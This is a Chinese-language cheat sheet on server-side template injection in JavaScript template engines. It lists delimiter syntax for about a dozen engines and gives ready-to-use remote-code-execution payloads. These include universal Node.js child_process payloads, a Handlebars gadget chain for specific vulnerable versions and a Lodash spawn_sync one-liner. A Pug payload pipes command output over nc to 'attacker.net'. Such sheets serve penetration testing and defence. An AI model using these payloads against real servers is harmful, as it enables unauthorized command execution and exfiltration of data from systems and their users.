服务端模板注入 (SSTI) - JavaScript
服务端模板注入 (SSTI) 发生在攻击者可以将恶意代码注入服务端模板,导致服务器执行任意命令时。在 JavaScript 的语境下,当使用 Handlebars、EJS 或 Pug 等服务端模板引擎,且用户输入在未经过充分过滤的情况下集成到模板中时,就可能出现 SSTI 漏洞。
摘要 (Summary)
模板库 (Templating Libraries)
| 模板名称 | 载荷格式 |
|---|---|
| DotJS | {{= }} |
| DustJS | { } |
| EJS | <% %> |
| HandlebarsJS | {{ }} |
| HoganJS | {{ }} |
| Lodash | {{= }} |
| MustacheJS | {{ }} |
| NunjucksJS | {{ }} |
| PugJS | #{ } |
| TwigJS | {{ }} |
| UnderscoreJS | <% %> |
| VelocityJS | #=set($X="")$X |
| VueJS | {{ }} |
通用载荷 (Universal Payloads)
通用的代码注入载荷适用于许多基于 NodeJS 的模板引擎,例如 DotJS、EJS、PugJS、UnderscoreJS 和 Eta。
要使用这些载荷,请将其包裹在适当的标签中。
// 回显型 RCE (Rendered RCE)
global.process.mainModule.require("child_process").execSync("id").toString()
// 报错型 RCE (Error-Based RCE)
global.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id").toString())
""["x"][global.process.mainModule.require("child_process").execSync("id").toString()]
// 布尔型 RCE (Boolean-Based RCE)
[""][0 + !(global.process.mainModule.require("child_process").spawnSync("id", options={shell:true}).status===0)]["length"]
// 时间型 RCE (Time-Based RCE)
global.process.mainModule.require("child_process").execSync("id && sleep 5").toString()
NunjucksJS 也可以通过使用 {{range.constructor(' ... ')()}} 来执行这些载荷。
Handlebars
Handlebars 会将模板编译为 JavaScript 函数。
Handlebars - 基础注入
Handlebars - 命令执行
此载荷仅适用于以下 Handlebars 版本(已在 GHSA-q42p-pg8m-cqh6 中修复):
>= 4.1.0,< 4.1.2>= 4.0.0,< 4.0.14< 3.0.7
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('ls -la');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
Lodash
一个现代 JavaScript 实用程序库,提供模块化、高性能以及额外功能。
Lodash - 基础注入
如何创建一个模板:
const _ = require('lodash');
string = "{{= username}}"
const options = {
evaluate: /\{\{(.+?)\}\}/g,
interpolate: /\{\{=(.+?)\}\}/g,
escape: /\{\{-(.+?)\}\}/g,
};
_.template(string, options);
- string: 模板字符串。
- options.interpolate: 正则表达式,指定 HTML 插值 (interpolate) 分隔符。
- options.evaluate: 正则表达式,指定 HTML 执行 (evaluate) 分隔符。
- options.escape: 正则表达式,指定 HTML 转义 (escape) 分隔符。
为了实现 RCE,模板的分隔符由 options.evaluate 参数确定。
{{= _.VERSION}}
${= _.VERSION}
<%= _.VERSION %>
{{= _.templateSettings.evaluate }}
${= _.VERSION}
<%= _.VERSION %>
Lodash - 命令执行
{{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}
Pug
通用载荷也适用于 Pug。
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')